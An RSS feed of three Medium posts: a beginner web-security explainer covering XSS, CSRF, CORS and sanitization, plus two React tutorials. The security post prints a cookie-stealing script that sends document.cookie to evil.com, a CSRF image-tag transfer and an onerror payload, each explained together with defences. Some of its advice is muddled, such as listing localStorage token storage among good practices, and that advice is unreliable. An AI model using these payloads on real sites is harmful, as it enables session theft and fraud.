<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MD AL Mamun Mim on Medium]]></title>
        <description><![CDATA[Stories by MD AL Mamun Mim on Medium]]></description>
        <link>https://medium.com/@mamun.ru.ice?source=rss-503f6944e851------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*48YGAK8EKnEXrRhS</url>
            <title>Stories by MD AL Mamun Mim on Medium</title>
            <link>https://medium.com/@mamun.ru.ice?source=rss-503f6944e851------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 15:14:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mamun.ru.ice/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Your App Is Not Secure Until You Know This!]]></title>
            <link>https://medium.com/@mamun.ru.ice/your-app-is-not-secure-until-you-know-this-e8919ab82dd6?source=rss-503f6944e851------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8919ab82dd6</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[MD AL Mamun Mim]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 09:11:35 GMT</pubDate>
            <atom:updated>2025-12-13T09:11:35.411Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nIv6UNwjCRxCQEVCWHuBmw.jpeg" /></figure><p>As a typical developer, we spend a lot of time building features, improving UI, optimizing performance, and making seo friendly. But security comes when something breaks, data is stolen, or sensitive data is exposed.</p><p>In Web Apps, most security issues come from small and avoidable mistakes.</p><p>Let’s break down the most secure features in JavaScript with real world example, not only theory.</p><blockquote><strong>We will learn about XSS, CSRF, CORS, Sanitization, and Secure Data Handling in step by step.</strong></blockquote><h3>1. XSS( CROSS SITE SCRIPTING)</h3><pre>Attackers Control Input -&gt; Browser Execute It -&gt; User Compromised</pre><p>XSS happens when untrusted input is injected into the ui and executed as JavaScript code in the browser.</p><p>Let’s think of a real-world example called comment :</p><pre>comment.innerHtml = userComment;</pre><p>An Attacker submit this :</p><pre>&lt;script&gt;<br>fetch(&quot;https://evil.com/steals?cookie&quot;+document.cookie);<br>&lt;/script&gt;</pre><p>When the user opens this comment, unconsciously, they will send their cookie to the attacker.</p><p><strong>Why is it dangerous?</strong></p><ul><li>Session hijacking.</li><li>User impersonation.</li><li>Redirect to fake pages.</li><li>Expose sensitive data.</li></ul><p><strong>How to prevent XSS?</strong></p><ul><li>Never trust user input.</li><li>Do not use innerHTML, use textContent instead.</li><li>In React App, avoid using dangerouslySetInnerHTML.</li><li>If you use HTML, validate using a library as well as the backend site.</li></ul><h3>2. CSRF (CROSS-SITE REQUEST FORGERY)</h3><p>CSRF tricks the loggedInUser into making a request without their consent or permission. The browser automatically sends a cookie. This behaviour is used by the attackers.</p><p>For example, A user signs into <a href="http://bank.com/">bank.com</a>, then the attacker sends a link or embedded site to a malicious site.</p><pre>&lt;img src=&quot;https://bank.com?amount=100000&amp;to=attacker&quot;&gt;</pre><p>The browser sends a cookie automatically, and the bank will think the request is legitimate.</p><p><strong>Why is it dangerous?</strong></p><ul><li>Unwanted amount transfer.</li><li>Profile and Password Change</li><li>Authentication Compromised.</li></ul><p><strong>How to prevent CSRF?</strong></p><ul><li>Use a CSRF token</li><li>Use Same-site cookies</li><li>Cookie sends automatically, so if possible, avoid cookie-based authentication.</li><li>Use an authorized header for transfering token, like a JWT token.</li></ul><h3>3. CORS( CROS ORIGIN RESOURCES SHARING)</h3><p>CORS controls which domains can request on the server. If you accidentally allow all origins.</p><pre>Acess-Control-Allow-Origin:*</pre><p>In this scenario, any frontend application can make a request to the backend APIs.</p><p>CORS does not protect your API from Postman, curl, or backend attacks. It only affects browsers.</p><p><strong>How to prevent it?</strong></p><ul><li>Instead of allowing all origins(*), use a specific domain.</li><li>Separate public and private APIs.</li></ul><h3>4. SANITIZATION</h3><p>Sanitization means cleaning the input so that it does not break the code or execute unwanted code. Input field validates before sending to the backend.</p><p>If the user submits the code below, it can lead to XSS.</p><pre>&lt;img src=x onerror=alert(&quot;hacked&quot;) /&gt;</pre><p>How to prevent this : (Best Practices)</p><ul><li>Do not trust the frontend. Sanitize from both the backend and the frontend.</li><li>Use some libraries like DOM Purify(“dompurify”)</li></ul><pre>import DOMPurify from &quot;dompurify&quot;;<br>const safeHTML = DOMPurify.sanitize(userInput);</pre><h3>5. SECURE DATA HANDLING</h3><p>Sensitive data should not be exposed in the frontend.</p><ul><li>Token is stored in localStorage.</li><li>Plain passwords should not be sent to the payload; send an encrypted payload instead.</li><li>Use the same site HTTP-only cookie.</li><li>Send token using authorized headers.</li><li>Hash passwords on the server using bcrypt or argon2</li></ul><pre>// Backend only<br>bcrypt.hash(password, saltRounds);</pre><ul><li>Avoid log-like passwords and user information.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8919ab82dd6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Clean React Architecture: Communication Patterns for Components…]]></title>
            <link>https://medium.com/@mamun.ru.ice/clean-react-architecture-communication-patterns-for-components-c7c001acb0a1?source=rss-503f6944e851------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7c001acb0a1</guid>
            <category><![CDATA[reactjs-developers]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[reactjs]]></category>
            <dc:creator><![CDATA[MD AL Mamun Mim]]></dc:creator>
            <pubDate>Sun, 07 Dec 2025 08:35:06 GMT</pubDate>
            <atom:updated>2025-12-07T12:44:26.277Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pGVOZBCRAEomhHszsxFpw.png" /><figcaption>React Communication Patterns</figcaption></figure><p>Creating a component in React is very easy, but when it comes to communicating between two components, it can get messy or sometimes difficult. For example: form submission, opening a modal, changing the language, controlling the theme, and showing notifications. There are many use cases.</p><p>There is another use case , like first you pass a prop down one level. Then another. Then another. Suddenly you have got a chain of components acting like delivery drivers, carring data , but they don’t use, just to drop it somewhere else. A week later , a teammate adds a “quick fix” with a callback that triggers a state update that triggers an effect that triggers a reftech…. now a tiny UI change breaks something completely unrelated.</p><p>Nobody planned for chaos . It just happened…</p><p>In this article , I’ll discuss on all of these use cases and their solutions.</p><h3><strong><em>1. Props for parent to child components.</em></strong></h3><p>React’s data flow is unidirectional, which means it goes parent to a child, and it is very simple and reliable behavior.</p><pre>&lt;Profile name={&quot;Mamun&quot;} age={25}/&gt;</pre><p><strong>Best Use Cases :</strong></p><ul><li>When data will originates in parent, and child only needs to use, not change the data.</li></ul><h3>2. Callback Props for child to parent communications.</h3><p>When child component need to notify it’s parent about something (button click, form submission and other any events).</p><p>The parent passes a function down as a prop, and the child calls it.</p><pre>import { useState } from &quot;react&quot;;<br><br>// ✅ Child<br>function Child({ onNotify }) {<br>  return (<br>    &lt;div&gt;<br>      &lt;button<br>        onClick={() =&gt; onNotify(&quot;Hello from Child ✅&quot;)}<br>        className=&quot;px-3 py-2 border rounded&quot;<br>      &gt;<br>        Notify Parent<br>      &lt;/button&gt;<br>    &lt;/div&gt;<br>  );<br>}<br><br>// ✅ Parent<br>export default function Parent() {<br>  const [message, setMessage] = useState(&quot;No message yet&quot;);<br><br>  const handleNotify = (msgFromChild) =&gt; {<br>    setMessage(msgFromChild); // parent updates its own state based on child<br>  };<br><br>  return (<br>    &lt;div className=&quot;p-4 space-y-3&quot;&gt;<br>      &lt;h2 className=&quot;text-lg font-semibold&quot;&gt;Parent Component&lt;/h2&gt;<br>      &lt;p&gt;Message: {message}&lt;/p&gt;<br><br>      &lt;Child onNotify={handleNotify} /&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><p>What is happening here..</p><p>i) Parent pass a function (“<strong>handleNotify</strong>”) as props to child.</p><p>ii) Child receives this props and calls it. (<strong>onNotify(“…”)</strong>)</p><p>iii) Parents receive the data and update its state.</p><h3>3. Shared logic via lifting state.</h3><p>When two or more child components need to share data , It makes sence to move data to nearest common parent or ancestor components.</p><pre>import { useState } from &quot;react&quot;;<br><br>function Counter({ count, onInc }) {<br>  return (<br>    &lt;button onClick={onInc} className=&quot;px-3 py-2 border rounded&quot;&gt;<br>      Count: {count} (click)<br>    &lt;/button&gt;<br>  );<br>}<br><br>function Display({ count }) {<br>  return &lt;p className=&quot;text-lg&quot;&gt;Shared Count: {count}&lt;/p&gt;;<br>}<br><br>export default function Parent() {<br>  const [count, setCount] = useState(0);<br><br>  return (<br>    &lt;div className=&quot;p-4 space-y-3&quot;&gt;<br>      &lt;Display count={count} /&gt;<br>      &lt;Counter count={count} onInc={() =&gt; setCount((c) =&gt; c + 1)} /&gt;<br>     <br>    &lt;/div&gt;<br>  );<br>}</pre><p>What is happening here …..</p><p>i) count state is in nearest common ancestor(Parent Component)</p><p>ii) Counter and display read the same count state.<br>iii) Parent passes down count and the update function via props.</p><h3>4. Context for global state or Deep communication</h3><p>When multiple components need same data or actions, instead of passing nested leyar of props, we should use React Context.</p><p><strong>Create a global context..</strong></p><pre>import React, { createContext, useContext, useMemo, useState } from &quot;react&quot;;<br><br>const AppContext = createContext(null);<br><br>export function AppProvider({ children }) {<br>  const [user, setUser] = useState({ name: &quot;Mamun&quot;, role: &quot;Engineer&quot; });<br>  const [theme, setTheme] = useState(&quot;light&quot;);<br><br>  const value = useMemo(<br>    () =&gt; ({<br>      user,<br>      theme,<br>      setUser,<br>      toggleTheme: () =&gt; setTheme((t) =&gt; (t === &quot;light&quot; ? &quot;dark&quot; : &quot;light&quot;)),<br>    }),<br>    [user, theme]<br>  );<br><br>  return &lt;AppContext.Provider value={value}&gt;{children}&lt;/AppContext.Provider&gt;;<br>}<br><br>export function useApp() {<br>  const ctx = useContext(AppContext);<br>  if (!ctx) throw new Error(&quot;useApp must be used inside &lt;AppProvider /&gt;&quot;);<br>  return ctx;<br>}</pre><p><strong>Wrap your app…</strong></p><pre>import React from &quot;react&quot;;<br>import ReactDOM from &quot;react-dom/client&quot;;<br>import App from &quot;./App&quot;;<br>import { AppProvider } from &quot;./AppContext&quot;;<br><br>ReactDOM.createRoot(document.getElementById(&quot;root&quot;)).render(<br>  &lt;AppProvider&gt;<br>    &lt;App /&gt;<br>  &lt;/AppProvider&gt;<br>);</pre><p><strong>Use it in multiple components</strong></p><pre>import React from &quot;react&quot;;<br>import ReactDOM from &quot;react-dom/client&quot;;<br>import App from &quot;./App&quot;;<br>import { AppProvider } from &quot;./AppContext&quot;;<br><br>ReactDOM.createRoot(document.getElementById(&quot;root&quot;)).render(<br>  &lt;AppProvider&gt;<br>    &lt;App /&gt;<br>  &lt;/AppProvider&gt;<br>);</pre><p><strong>Best use casses :</strong></p><ul><li>Theme</li><li>Notifications</li><li>Language</li><li>Auth</li></ul><p>Frequently update state should not use context….</p><h3>5. Refs for Imperative Parent to child calls</h3><p>Normally in react , the parent talks to the child using props(data) and callbacks(functions). That’s the clean ‘React Way’.</p><p>But sometimes you want something more direct, like</p><ul><li>parent click a button — child input should focus</li><li>parent click a button — child form should reset</li><li>parent click a button — child modal should open</li></ul><p><strong>Child exposes methods (focus, reset)</strong></p><pre>import React, { forwardRef, useImperativeHandle, useRef } from &quot;react&quot;;<br><br>const MyForm = forwardRef(function MyForm(props, ref) {<br>  const inputRef = useRef(null);<br><br>  useImperativeHandle(ref, () =&gt; ({<br>    focusInput() {<br>      inputRef.current?.focus();<br>    },<br>    resetForm() {<br>      if (inputRef.current) inputRef.current.value = &quot;&quot;;<br>    },<br>  }));<br><br>  return (<br>    &lt;div style={{ padding: 12, border: &quot;1px solid #ddd&quot; }}&gt;<br>      &lt;p&gt;Child Form&lt;/p&gt;<br>      &lt;input ref={inputRef} placeholder=&quot;Type something...&quot; /&gt;<br>    &lt;/div&gt;<br>  );<br>});<br><br>export default MyForm;</pre><p><strong>Parent : calles child methods via ref</strong></p><pre>import React, { useRef } from &quot;react&quot;;<br>import MyForm from &quot;./MyForm&quot;;<br><br>export default function Parent() {<br>  const formRef = useRef(null);<br><br>  return (<br>    &lt;div style={{ display: &quot;grid&quot;, gap: 12 }}&gt;<br>      &lt;div style={{ display: &quot;flex&quot;, gap: 8 }}&gt;<br>        &lt;button onClick={() =&gt; formRef.current?.focusInput()}&gt;<br>          Focus Child Input<br>        &lt;/button&gt;<br><br>        &lt;button onClick={() =&gt; formRef.current?.resetForm()}&gt;<br>          Reset Child Form<br>        &lt;/button&gt;<br>      &lt;/div&gt;<br><br>      &lt;MyForm ref={formRef} /&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><p>Good Use cases :</p><ul><li>focus an input</li><li>scroll to an element</li><li>play / pause video</li><li>reset form fields</li><li>open/close animations</li></ul><h3>6. Global State Libraries for Cross component data</h3><p>When our application grows, and we need a lots of unrelated components share their data for example cart items, orders and user profiles. So global state libraries help .</p><p>Some options</p><ul><li>Zustand</li><li>Redux</li><li>Recoil or Jotoi</li></ul><p>From my side, Redux is my one of favourite because of its beutiful dev tools.</p><h3>7. Custom Hooks for shared behavior</h3><p>In our application, a few pieces of logic are used repeatedly. When we need state inside a function, or we need to use other hooks inside that function, we handle it this way.</p><pre>import { useState } from &quot;react&quot;;<br><br>// reusable logic that NEEDS state (so make it a custom hook)<br>function useCounter() {<br>  const [count, setCount] = useState(0);<br>  return { count, inc: () =&gt; setCount((c) =&gt; c + 1), reset: () =&gt; setCount(0) };<br>}<br><br>export default function App() {<br>  const { count, inc, reset } = useCounter();<br><br>  return (<br>    &lt;&gt;<br>      &lt;p&gt;{count}&lt;/p&gt;<br>      &lt;button onClick={inc}&gt;+1&lt;/button&gt;<br>      &lt;button onClick={reset}&gt;Reset&lt;/button&gt;<br>    &lt;/&gt;<br>  );<br>}</pre><h3>7. Event Emitters</h3><p>React doesn’t encourage event emitters but in some plugin based or very decoupled systems.</p><pre><br>export const bus = {<br>  m: new Map(),<br>  on(e, fn) { (this.m.get(e) ?? this.m.set(e, []).get(e)).push(fn); return () =&gt; this.off(e, fn); },<br>  off(e, fn) { this.m.set(e, (this.m.get(e) ?? []).filter(x =&gt; x !== fn)); },<br>  emit(e, data) { (this.m.get(e) ?? []).forEach(fn =&gt; fn(data)); },<br>};</pre><pre><br>import { useEffect, useState } from &quot;react&quot;;<br>import { bus } from &quot;./bus&quot;;<br><br>export default function App() {<br>  const [msg, setMsg] = useState(&quot;&quot;);<br><br>  useEffect(() =&gt; bus.on(&quot;toast&quot;, setMsg), []);<br><br>  return (<br>    &lt;&gt;<br>      &lt;button onClick={() =&gt; bus.emit(&quot;toast&quot;, &quot;Hello from plugin!&quot;)}&gt;<br>        Emit Event<br>      &lt;/button&gt;<br>      &lt;p&gt;{msg}&lt;/p&gt;<br>    &lt;/&gt;<br>  );<br>}</pre><p><strong>Last one at a glance ….</strong></p><p>React gives us a bunch of way to talk with components ,each one fits a different situation.Props work great for simple parent-to-child data, and callback props children send something to parent. When siblings need to share same state , we can use lifting up .When We need imperative actions , Refs will help with that. For global state manage, Context and libraries (Redux, Zustand etc) are useful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7c001acb0a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unlocking the Power of useCallback in React]]></title>
            <link>https://medium.com/@mamun.ru.ice/unlocking-the-power-of-usecallback-in-react-143ec0ac44c9?source=rss-503f6944e851------2</link>
            <guid isPermaLink="false">https://medium.com/p/143ec0ac44c9</guid>
            <dc:creator><![CDATA[MD AL Mamun Mim]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 18:07:14 GMT</pubDate>
            <atom:updated>2024-01-23T18:11:46.030Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*mq8pCFqV5-I-qPcj7nozoQ.png" /></figure><p>Unlocking the Power of useCallback in React</p><h4>Introduction:</h4><blockquote>React’s <strong>useCallback</strong> hook is a powerful tool that often remains underutilized. In this guide, we&#39;ll explore its various use cases and advantages, accompanied by practical examples.</blockquote><h4>1. Optimizing Performance:</h4><p>Memoize functions with <strong>useCallback</strong> to maintain constant references, prevent unnecessary re-renders, and enhance overall performance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1dsAH-gHWxTgmG0B1DzBg.png" /><figcaption>Syntax of useCallback in React</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZYna0yGNmnKt0QmQHnG_w.png" /><figcaption>Understanding Unnecessary Renders and Prevention Using useCallback in React</figcaption></figure><h4>2. Preventing Unnecessary Renders:</h4><p>Use <strong>useCallback</strong> to memoize functions that don&#39;t rely on external variables, preventing unnecessary component renders.</p><h4>3. Memoizing Event Handlers:</h4><p>Apply useCallback to memoize event handlers, especially in scenarios where components are frequently re-rendered.</p><h4>4. Enhancing Equality Checks:</h4><p>Improve equality checks for complex objects or functions by carefully selecting dependencies in the <strong>useCallback</strong> dependency array.</p><h4>5. Memoizing Functions for <strong>React.memo :</strong></h4><p>Optimize functional components with <strong>React.memo</strong> by wrapping functions with <strong>useCallback</strong> to ensure stable references.</p><h4>6. Managing Event Listeners:</h4><p>Efficiently manage event listeners by using <strong>useCallback</strong> to avoid unnecessary function recreations.</p><h4>7. Managing Dynamic Lists:</h4><p>Memoize callbacks for dynamic lists, preventing unnecessary re-renders of list items.</p><h4>8. Conditional Rendering and Dependencies:</h4><p>Effectively use <strong>useCallback</strong> with conditional rendering and dependencies to create responsive and optimized components.</p><p>In conclusion, embracing the power of <strong>useCallback</strong> empowers React developers to build performant and responsive applications. Mastering this hook contributes to cleaner and more maintainable code, enhancing the overall development experience.</p><p>Integrate <strong>useCallback</strong> judiciously into your React applications, considering the specific requirements of your components and the nature of your application. Happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=143ec0ac44c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>